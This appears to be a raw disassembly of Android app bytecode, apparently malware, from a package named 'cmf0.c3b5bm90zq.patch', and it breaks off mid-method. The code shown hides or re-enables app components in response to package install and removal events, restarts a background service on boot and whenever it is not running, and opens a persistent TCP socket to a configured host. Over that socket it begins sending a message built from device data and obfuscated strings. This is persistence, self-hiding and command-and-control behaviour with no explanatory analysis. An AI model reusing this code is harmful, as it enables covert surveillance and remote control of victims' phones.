    00083ccainvoke-virtual {v1, v2, v0}, Landroid/content/pm/PackageManager;->getApplicationInfo(Ljava/lang/String;I)Landroid/content/pm/ApplicationInfo;
    00083cd0const/4 v1, 0x1
    00083cd2return v1
    00083cd4return v0
    00083cb0
    00083cd6
    00083cd6 struct code_item_padding
    00083cd6 padding uint16 0x0000
    00083cd8
    00083cd8 struct try_item
    00083cd8 start_addr uint32 0x83cc2
    00083cdc insn_count int 7
    00083cde handler_off uint16 0x83ce1
    00083ce0
    00083ce0 struct encoded_catch_handler_list
    00083ce0 size int 1
    00083ce1
    00083ce1 struct encoded_catch_handler ← 0x83cde
    00083ce1 size int64 1
    00083ce2 handlers[0].type_idx int 0x4c90
    00083ce3 handlers[0].addr uint32 0x83cd4
    00083ce4
    00083ce4cmf0.c3b5bm90zq.patch.C3::a(android.content.Context):
    00083cf4invoke-virtual {v4}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
    00083cfamove-result-object v0
    00083cfcconst v1, 0x7f0c0021
    00083d02invoke-virtual {v0, v1}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    00083d08move-result-object v0
    00083d0aconst/4 v1, 0x0
    00083d0cinvoke-virtual {v0, v1}, Ljava/lang/String;->charAt(I)C
    00083d12move-result v0
    00083d14const/16 v1, 0x31
    00083d18if-ne v0, v1, :cond_2a
    00083d1cinvoke-virtual {v4}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
    00083d22move-result-object v0
    00083d24new-instance v1, Landroid/content/ComponentName;
    00083d28const-class v2, Lcmf0/c3b5bm90zq/patch/C7;
    00083d2cinvoke-direct {v1, v4, v2}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
    00083d32invoke-virtual {v0, v1}, Landroid/content/pm/PackageManager;->getComponentEnabledSetting(Landroid/content/ComponentName;)I
    00083d38move-result v4
    00083d3aconst/4 v2, 0x2
    00083d3cif-eq v4, v2, :cond_2a
    00083d40const/4 v4, 0x1
    00083d42invoke-virtual {v0, v1, v2, v4}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
    00083d48return-void
    00083ce4
    00083d4a
    00083d4a struct code_item_padding
    00083d4a padding uint16 0x0000
    00083d4c
    00083d4c struct try_item
    00083d4c start_addr uint32 0x83cf4
    00083d50 insn_count int 42
    00083d52 handler_off uint16 0x83d55
    00083d54
    00083d54 struct encoded_catch_handler_list
    00083d54 size int 1
    00083d55
    00083d55 struct encoded_catch_handler ← 0x83d52
    00083d55 size int64 1
    00083d56 handlers[0].type_idx int 0x5994
    00083d58 handlers[0].addr uint32 0x83d48
    00083d59
    00083d59 // align 0x4
    00083d5c
    00083d5ccmf0.c3b5bm90zq.patch.C3::a(java.lang.Class, android.content.Context):
    00083d6cconst-string v0, "activity"
    00083d70invoke-virtual {v4, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    00083d76move-result-object v4
    00083d78check-cast v4, Landroid/app/ActivityManager;
    00083d7cconst v0, 0x7fffffff
    00083d82invoke-virtual {v4, v0}, Landroid/app/ActivityManager;->getRunningServices(I)Ljava/util/List;
    00083d88move-result-object v4
    00083d8ainvoke-interface {v4}, Ljava/util/List;->iterator()Ljava/util/Iterator;
    00083d90move-result-object v4
    00083d92invoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
    00083d98move-result v0
    00083d9aif-eqz v0, :cond_31
    00083d9einvoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
    00083da4move-result-object v0
    00083da6check-cast v0, Landroid/app/ActivityManager$RunningServiceInfo;
    00083daainvoke-virtual {v3}, Ljava/lang/Class;->getName()Ljava/lang/String;
    00083db0move-result-object v1
    00083db2iget-object v0, v0, Landroid/app/ActivityManager$RunningServiceInfo;->service:Landroid/content/ComponentName;
    00083db6invoke-virtual {v0}, Landroid/content/ComponentName;->getClassName()Ljava/lang/String;
    00083dbcmove-result-object v0
    00083dbeinvoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00083dc4move-result v0
    00083dc6if-eqz v0, :cond_13
    00083dcaconst/4 v3, 0x1
    00083dccreturn v3
    00083dceconst/4 v3, 0x0
    00083dd0return v3
    00083d5c
    00083dd2
    00083dd2 // align 0x4
    00083dd4
    00083dd4cmf0.c3b5bm90zq.patch.C3::b(android.content.Context):
    00083de4invoke-virtual {v4}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
    00083deamove-result-object v0
    00083decconst v1, 0x7f0c0021
    00083df2invoke-virtual {v0, v1}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    00083df8move-result-object v0
    00083dfaconst/4 v1, 0x0
    00083dfcinvoke-virtual {v0, v1}, Ljava/lang/String;->charAt(I)C
    00083e02move-result v0
    00083e04const/16 v1, 0x31
    00083e08if-eq v0, v1, :cond_2a
    00083e0cinvoke-virtual {v4}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
    00083e12move-result-object v0
    00083e14new-instance v1, Landroid/content/ComponentName;
    00083e18const-class v2, Lcmf0/c3b5bm90zq/patch/C7;
    00083e1cinvoke-direct {v1, v4, v2}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
    00083e22invoke-virtual {v0, v1}, Landroid/content/pm/PackageManager;->getComponentEnabledSetting(Landroid/content/ComponentName;)I
    00083e28move-result v4
    00083e2aconst/4 v2, 0x2
    00083e2cif-eq v4, v2, :cond_2a
    00083e30const/4 v4, 0x1
    00083e32invoke-virtual {v0, v1, v2, v4}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
    00083e38return-void
    00083dd4
    00083e3a
    00083e3a struct code_item_padding
    00083e3a padding uint16 0x0000
    00083e3c
    00083e3c struct try_item
    00083e3c start_addr uint32 0x83de4
    00083e40 insn_count int 42
    00083e42 handler_off uint16 0x83e45
    00083e44
    00083e44 struct encoded_catch_handler_list
    00083e44 size int 1
    00083e45
    00083e45 struct encoded_catch_handler ← 0x83e42
    00083e45 size int64 1
    00083e46 handlers[0].type_idx int 0x5994
    00083e48 handlers[0].addr uint32 0x83e38
    00083e49
    00083e49 // align 0x4
    00083e4c
    00083e4ccmf0.c3b5bm90zq.patch.C3::onReceive(android.content.Context, android.content.Intent):
    00083e5cinvoke-virtual {v10}, Landroid/content/Intent;->getAction()Ljava/lang/String;
    00083e62move-result-object v0
    00083e64const-string v1, "android.intent.action.PACKAGE_ADDED"
    00083e68invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00083e6emove-result v0
    00083e70if-nez v0, :cond_3c
    00083e74invoke-virtual {v10}, Landroid/content/Intent;->getAction()Ljava/lang/String;
    00083e7amove-result-object v0
    00083e7cconst-string v1, "android.intent.action.PACKAGE_CHANGED"
    00083e80invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00083e86move-result v0
    00083e88if-nez v0, :cond_3c
    00083e8cinvoke-virtual {v10}, Landroid/content/Intent;->getAction()Ljava/lang/String;
    00083e92move-result-object v0
    00083e94const-string v1, "android.intent.action.PACKAGE_INSTALL"
    00083e98invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00083e9emove-result v0
    00083ea0if-nez v0, :cond_3c
    00083ea4invoke-virtual {v10}, Landroid/content/Intent;->getAction()Ljava/lang/String;
    00083eaamove-result-object v0
    00083eacconst-string v1, "android.intent.action.PACKAGE_REPLACED"
    00083eb0invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00083eb6move-result v0
    00083eb8if-nez v0, :cond_3c
    00083ebcinvoke-virtual {v10}, Landroid/content/Intent;->getAction()Ljava/lang/String;
    00083ec2move-result-object v0
    00083ec4const-string v1, "android.intent.action.PACKAGE_REMOVED"
    00083ec8invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00083ecemove-result v0
    00083ed0if-eqz v0, :cond_fa
    00083ed4invoke-virtual {v9}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
    00083edamove-result-object v0
    00083edcconst v1, 0x7f0c0021
    00083ee2invoke-virtual {v0, v1}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    00083ee8move-result-object v0
    00083eeaconst/4 v1, 0x3
    00083eecinvoke-virtual {v0, v1}, Ljava/lang/String;->charAt(I)C
    00083ef2move-result v1
    00083ef4const/4 v2, 0x0
    00083ef6const/16 v3, 0x31
    00083efaconst/4 v4, 0x1
    00083efcif-ne v1, v3, :cond_64
    00083f00new-instance v1, Lcmf0/c3b5bm90zq/patch/c;
    00083f04invoke-direct {v1, v9}, Lcmf0/c3b5bm90zq/patch/c;-><init>(Landroid/content/Context;)V
    00083f0aiput-object v1, v8, Lcmf0/c3b5bm90zq/patch/C3;->a:Lcmf0/c3b5bm90zq/patch/c;
    00083f0eiget-object v1, v8, Lcmf0/c3b5bm90zq/patch/C3;->a:Lcmf0/c3b5bm90zq/patch/c;
    00083f12invoke-virtual {v1}, Lcmf0/c3b5bm90zq/patch/c;->a()Z
    00083f18move-result v1
    00083f1aif-eqz v1, :cond_62
    00083f1egoto :goto_64
    00083f20const/4 v1, 0x0
    00083f22goto :goto_65
    00083f24const/4 v1, 0x1
    00083f26invoke-virtual {v0, v4}, Ljava/lang/String;->charAt(I)C
    00083f2cmove-result v5
    00083f2eif-ne v5, v3, :cond_72
    00083f32sget-boolean v5, Lcmf0/c3b5bm90zq/patch/C11;->j:Z
    00083f36if-ne v5, v4, :cond_70
    00083f3agoto :goto_72
    00083f3cconst/4 v5, 0x0
    00083f3egoto :goto_73
    00083f40const/4 v5, 0x1
    00083f42const/high16 v6, 0x7f0c0000
    00083f46if-ne v1, v4, :cond_a8
    00083f4aif-ne v5, v4, :cond_a8
    00083f4einvoke-virtual {v10}, Landroid/content/Intent;->getData()Landroid/net/Uri;
    00083f54move-result-object v1
    00083f56invoke-virtual {v1}, Landroid/net/Uri;->getSchemeSpecificPart()Ljava/lang/String;
    00083f5cmove-result-object v1
    00083f5einvoke-virtual {v9}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
    00083f64move-result-object v5
    00083f66invoke-virtual {v5, v6}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    00083f6cmove-result-object v5
    00083f6econst-string v7, ".."
    00083f72invoke-virtual {v5, v7}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00083f78move-result v7
    00083f7aif-nez v7, :cond_a8
    00083f7einvoke-virtual {v1}, Ljava/lang/String;->toUpperCase()Ljava/lang/String;
    00083f84move-result-object v1
    00083f86invoke-virtual {v5}, Ljava/lang/String;->toUpperCase()Ljava/lang/String;
    00083f8cmove-result-object v7
    00083f8einvoke-virtual {v1, v7}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00083f94move-result v1
    00083f96if-eqz v1, :cond_a8
    00083f9ainvoke-static {v9, v5}, Lcmf0/c3b5bm90zq/patch/C3;->a(Landroid/content/Context;Ljava/lang/String;)Z
    00083fa0move-result v1
    00083fa2if-ne v1, v4, :cond_a8
    00083fa6invoke-virtual {v8, v9}, Lcmf0/c3b5bm90zq/patch/C3;->a(Landroid/content/Context;)V
    00083facinvoke-virtual {v10}, Landroid/content/Intent;->getAction()Ljava/lang/String;
    00083fb2move-result-object v1
    00083fb4const-string v4, "android.intent.action.PACKAGE_REMOVED"
    00083fb8invoke-virtual {v1, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00083fbemove-result v1
    00083fc0if-eqz v1, :cond_e3
    00083fc4invoke-virtual {v10}, Landroid/content/Intent;->getData()Landroid/net/Uri;
    00083fcamove-result-object v10
    00083fccinvoke-virtual {v10}, Landroid/net/Uri;->getSchemeSpecificPart()Ljava/lang/String;
    00083fd2move-result-object v10
    00083fd4invoke-virtual {v9}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
    00083fdamove-result-object v1
    00083fdcinvoke-virtual {v1, v6}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    00083fe2move-result-object v1
    00083fe4const-string v4, ".."
    00083fe8invoke-virtual {v1, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00083feemove-result v4
    00083ff0if-nez v4, :cond_e3
    00083ff4invoke-virtual {v10}, Ljava/lang/String;->toUpperCase()Ljava/lang/String;
    00083ffamove-result-object v10
    00083ffcinvoke-virtual {v1}, Ljava/lang/String;->toUpperCase()Ljava/lang/String;
    00084002move-result-object v1
    00084004invoke-virtual {v10, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    0008400amove-result v10
    0008400cif-eqz v10, :cond_e3
    00084010invoke-virtual {v0, v2}, Ljava/lang/String;->charAt(I)C
    00084016move-result v10
    00084018if-eq v10, v3, :cond_e3
    0008401cinvoke-virtual {v8, v9}, Lcmf0/c3b5bm90zq/patch/C3;->b(Landroid/content/Context;)V
    00084022const-class v10, Lcmf0/c3b5bm90zq/patch/C11;
    00084026invoke-virtual {v8, v10, v9}, Lcmf0/c3b5bm90zq/patch/C3;->a(Ljava/lang/Class;Landroid/content/Context;)Z
    0008402cmove-result v10
    0008402eif-nez v10, :cond_fa
    00084032new-instance v10, Landroid/content/Intent;
    00084036const-class v0, Lcmf0/c3b5bm90zq/patch/C11;
    0008403ainvoke-direct {v10, v9, v0}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
    00084040invoke-virtual {v9, v10}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
    00084046goto :goto_fa
    00084048move-exception v9
    0008404ainvoke-virtual {v9}, Ljava/lang/Exception;->printStackTrace()V
    00084050return-void
    00083e4c
    00084052
    00084052 struct code_item_padding
    00084052 padding uint16 0x0000
    00084054
    00084054 struct try_item
    00084054 start_addr uint32 0x83ed4
    00084058 insn_count int 167
    0008405a handler_off uint16 0x84065
    0008405c
    0008405c struct try_item
    0008405c start_addr uint32 0x84022
    00084060 insn_count int 18
    00084062 handler_off uint16 0x8406a
    00084064
    00084064 struct encoded_catch_handler_list
    00084064 size int 2
    00084065
    00084065 struct encoded_catch_handler ← 0x8405a
    00084065 size int64 1
    00084066 handlers[0].type_idx int 0x5994
    00084068 handlers[0].addr uint32 0x84048
    0008406a
    0008406a struct encoded_catch_handler ← 0x84062
    0008406a size int64 1
    0008406b handlers[0].type_idx int 0x5994
    0008406d handlers[0].addr uint32 0x84050
    0008406f
    0008406f // align 0x10
    00084070
    00084070cmf0.c3b5bm90zq.patch.C4::<init>():
    00084080invoke-direct {v0}, Landroid/content/BroadcastReceiver;-><init>()V
    00084086return-void
    00084070
    00084088
    00084088cmf0.c3b5bm90zq.patch.C4::a(android.content.Context):
    00084098const-class v0, Lcmf0/c3b5bm90zq/patch/C11;
    0008409cinvoke-virtual {v2, v0, v3}, Lcmf0/c3b5bm90zq/patch/C4;->a(Ljava/lang/Class;Landroid/content/Context;)Z
    000840a2move-result v0
    000840a4if-nez v0, :cond_12
    000840a8new-instance v0, Landroid/content/Intent;
    000840acconst-class v1, Lcmf0/c3b5bm90zq/patch/C11;
    000840b0invoke-direct {v0, v3, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
    000840b6invoke-virtual {v3, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
    000840bcreturn-void
    00084088
    000840be
    000840be struct code_item_padding
    000840be padding uint16 0x0000
    000840c0
    000840c0 struct try_item
    000840c0 start_addr uint32 0x84098
    000840c4 insn_count int 18
    000840c6 handler_off uint16 0x840c9
    000840c8
    000840c8 struct encoded_catch_handler_list
    000840c8 size int 1
    000840c9
    000840c9 struct encoded_catch_handler ← 0x840c6
    000840c9 size int64 1
    000840ca handlers[0].type_idx int 0x5994
    000840cc handlers[0].addr uint32 0x840bc
    000840cd
    000840cd // align 0x10
    000840d0
    000840d0cmf0.c3b5bm90zq.patch.C4::a(java.lang.Class, android.content.Context):
    000840e0const-string v0, "activity"
    000840e4invoke-virtual {v4, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    000840eamove-result-object v4
    000840eccheck-cast v4, Landroid/app/ActivityManager;
    000840f0const v0, 0x7fffffff
    000840f6invoke-virtual {v4, v0}, Landroid/app/ActivityManager;->getRunningServices(I)Ljava/util/List;
    000840fcmove-result-object v4
    000840feinvoke-interface {v4}, Ljava/util/List;->iterator()Ljava/util/Iterator;
    00084104move-result-object v4
    00084106invoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
    0008410cmove-result v0
    0008410eif-eqz v0, :cond_31
    00084112invoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
    00084118move-result-object v0
    0008411acheck-cast v0, Landroid/app/ActivityManager$RunningServiceInfo;
    0008411einvoke-virtual {v3}, Ljava/lang/Class;->getName()Ljava/lang/String;
    00084124move-result-object v1
    00084126iget-object v0, v0, Landroid/app/ActivityManager$RunningServiceInfo;->service:Landroid/content/ComponentName;
    0008412ainvoke-virtual {v0}, Landroid/content/ComponentName;->getClassName()Ljava/lang/String;
    00084130move-result-object v0
    00084132invoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00084138move-result v0
    0008413aif-eqz v0, :cond_13
    0008413econst/4 v3, 0x1
    00084140return v3
    00084142const/4 v3, 0x0
    00084144return v3
    000840d0
    00084146
    00084146 // align 0x8
    00084148
    00084148cmf0.c3b5bm90zq.patch.C4::onReceive(android.content.Context, android.content.Intent):
    00084158invoke-virtual {v3}, Landroid/content/Intent;->getAction()Ljava/lang/String;
    0008415emove-result-object v3
    00084160const-string v0, "android.intent.action.BOOT_COMPLETED"
    00084164invoke-virtual {v3, v0}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
    0008416amove-result v3
    0008416cif-eqz v3, :cond_f
    00084170invoke-direct {v1, v2}, Lcmf0/c3b5bm90zq/patch/C4;->a(Landroid/content/Context;)V
    00084176return-void
    00084148
    00084178
    00084178cmf0.c3b5bm90zq.patch.C5$1::<init>(cmf0.c3b5bm90zq.patch.C5, java.lang.String, int):
    00084188iput-object v1, v0, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    0008418ciput-object v2, v0, Lcmf0/c3b5bm90zq/patch/C5$1;->a:Ljava/lang/String;
    00084190iput v3, v0, Lcmf0/c3b5bm90zq/patch/C5$1;->b:I
    00084194invoke-direct {v0}, Ljava/lang/Object;-><init>()V
    0008419areturn-void
    00084178
    0008419c
    0008419ccmf0.c3b5bm90zq.patch.C5$1::run():
    000841acsget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    000841b0iget-object v1, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    000841b4invoke-virtual {v1}, Lcmf0/c3b5bm90zq/patch/C5;->getApplicationContext()Landroid/content/Context;
    000841bamove-result-object v1
    000841bcsget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    000841c0const-wide/16 v4, 0x59
    000841c4invoke-static {v2, v3, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    000841camove-result-object v2
    000841ccinvoke-virtual {v0, v1, v2}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
    000841d2move-result-object v0
    000841d4const-string v1, ""
    000841d8if-ne v0, v1, :cond_26
    000841dciget-object v0, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    000841e0invoke-virtual {v0}, Lcmf0/c3b5bm90zq/patch/C5;->getResources()Landroid/content/res/Resources;
    000841e6move-result-object v0
    000841e8const v1, 0x7f0c0025
    000841eeinvoke-virtual {v0, v1}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    000841f4move-result-object v0
    000841f6goto :goto_38
    000841f8sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    000841fciget-object v1, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    00084200invoke-virtual {v1}, Lcmf0/c3b5bm90zq/patch/C5;->getApplicationContext()Landroid/content/Context;
    00084206move-result-object v1
    00084208sget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    0008420cinvoke-static {v2, v3, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00084212move-result-object v2
    00084214invoke-virtual {v0, v1, v2}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
    0008421amove-result-object v0
    0008421csget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    00084220iget-object v2, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    00084224invoke-virtual {v2}, Lcmf0/c3b5bm90zq/patch/C5;->getApplicationContext()Landroid/content/Context;
    0008422amove-result-object v2
    0008422csget-wide v3, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00084230const-wide/16 v5, 0x56
    00084234invoke-static {v3, v4, v5, v6}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    0008423amove-result-object v3
    0008423cinvoke-virtual {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
    00084242move-result-object v1
    00084244const-string v2, ""
    00084248if-ne v1, v2, :cond_5e
    0008424ciget-object v1, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    00084250invoke-virtual {v1}, Lcmf0/c3b5bm90zq/patch/C5;->getResources()Landroid/content/res/Resources;
    00084256move-result-object v1
    00084258const v2, 0x7f0c0023
    0008425einvoke-virtual {v1, v2}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    00084264move-result-object v1
    00084266goto :goto_70
    00084268sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    0008426ciget-object v2, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    00084270invoke-virtual {v2}, Lcmf0/c3b5bm90zq/patch/C5;->getApplicationContext()Landroid/content/Context;
    00084276move-result-object v2
    00084278sget-wide v3, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    0008427cinvoke-static {v3, v4, v5, v6}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00084282move-result-object v3
    00084284invoke-virtual {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
    0008428amove-result-object v1
    0008428ciget-object v2, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->a:Ljava/lang/String;
    00084290invoke-static {v2}, Ljava/net/InetAddress;->getByName(Ljava/lang/String;)Ljava/net/InetAddress;
    00084296move-result-object v2
    00084298new-instance v3, Ljava/net/InetSocketAddress;
    0008429ciget v4, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->b:I
    000842a0invoke-direct {v3, v2, v4}, Ljava/net/InetSocketAddress;-><init>(Ljava/net/InetAddress;I)V
    000842a6new-instance v2, Ljava/net/Socket;
    000842aainvoke-direct {v2}, Ljava/net/Socket;-><init>()V
    000842b0invoke-static {v2}, Lcmf0/c3b5bm90zq/patch/C5;->a(Ljava/net/Socket;)Ljava/net/Socket;
    000842b6invoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
    000842bcmove-result-object v2
    000842beconst v4, 0xea5f
    000842c4invoke-virtual {v2, v3, v4}, Ljava/net/Socket;->connect(Ljava/net/SocketAddress;I)V
    000842caiget-object v2, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    000842ceinvoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
    000842d4move-result-object v3
    000842d6invoke-virtual {v3}, Ljava/net/Socket;->isConnected()Z
    000842dcmove-result v3
    000842deiput-boolean v3, v2, Lcmf0/c3b5bm90zq/patch/C5;->l:Z
    000842e2iget-object v2, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    000842e6iget-boolean v2, v2, Lcmf0/c3b5bm90zq/patch/C5;->l:Z
    000842eaconst/4 v3, 0x1
    000842ecif-ne v2, v3, :cond_128
    000842f0iget-object v2, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    000842f4invoke-static {v2, v3}, Lcmf0/c3b5bm90zq/patch/C5;->a(Lcmf0/c3b5bm90zq/patch/C5;Z)Z
    000842fanew-instance v2, Lcmf0/c3b5bm90zq/patch/C5$a;
    000842feiget-object v4, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    00084302const/4 v5, 0x0
    00084304invoke-direct {v2, v4, v5}, Lcmf0/c3b5bm90zq/patch/C5$a;-><init>(Lcmf0/c3b5bm90zq/patch/C5;Lcmf0/c3b5bm90zq/patch/C5$1;)V
    0008430aconst/4 v4, 0x0
    0008430cnew-array v4, v4, [Ljava/lang/Object;
    00084310invoke-virtual {v2, v4}, Lcmf0/c3b5bm90zq/patch/C5$a;->execute([Ljava/lang/Object;)Landroid/os/AsyncTask;
    00084316invoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
    0008431cmove-result-object v2
    0008431einvoke-virtual {v2, v3}, Ljava/net/Socket;->setTcpNoDelay(Z)V
    00084324invoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
    0008432amove-result-object v2
    0008432cinvoke-virtual {v2, v3}, Ljava/net/Socket;->setKeepAlive(Z)V
    00084332invoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
    00084338move-result-object v2
    0008433aconst/16 v3, 0x3ff
    0008433einvoke-virtual {v2, v3}, Ljava/net/Socket;->setSendBufferSize(I)V
    00084344invoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
    0008434amove-result-object v2
    0008434cinvoke-virtual {v2, v3}, Ljava/net/Socket;->setReceiveBufferSize(I)V
    00084352iget-object v2, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    00084356invoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
    0008435cmove-result-object v3
    0008435einvoke-virtual {v3}, Ljava/net/Socket;->getOutputStream()Ljava/io/OutputStream;
    00084364move-result-object v3
    00084366invoke-static {v2, v3}, Lcmf0/c3b5bm90zq/patch/C5;->a(Lcmf0/c3b5bm90zq/patch/C5;Ljava/io/OutputStream;)Ljava/io/OutputStream;
    0008436ciget-object v2, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    00084370new-instance v3, Ljava/lang/StringBuilder;
    00084374invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
    0008437asget-wide v4, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    0008437econst-wide/16 v6, 0x46
    00084382invoke-static {v4, v5, v6, v7}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00084388move-result-object v4
    0008438ainvoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084390sget-object v4, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00084394invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008439ainvoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000843a0sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000843a4invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000843aainvoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000843b0sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000843b4invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000843basget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    000843beiget-object v1, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    000843c2invoke-virtual {v1}, Lcmf0/c3b5bm90zq/patch/C5;->getApplicationContext()Landroid/content/Context;
    000843c8move-result-object v1
    000843cainvoke-virtual {v0, v1}, Lcmf0/c3b5bm90zq/patch/a;->d(Landroid/content/Context;)Ljava/lang/String;
    000843d0move-result-object v0
    000843d2invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000843d8sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
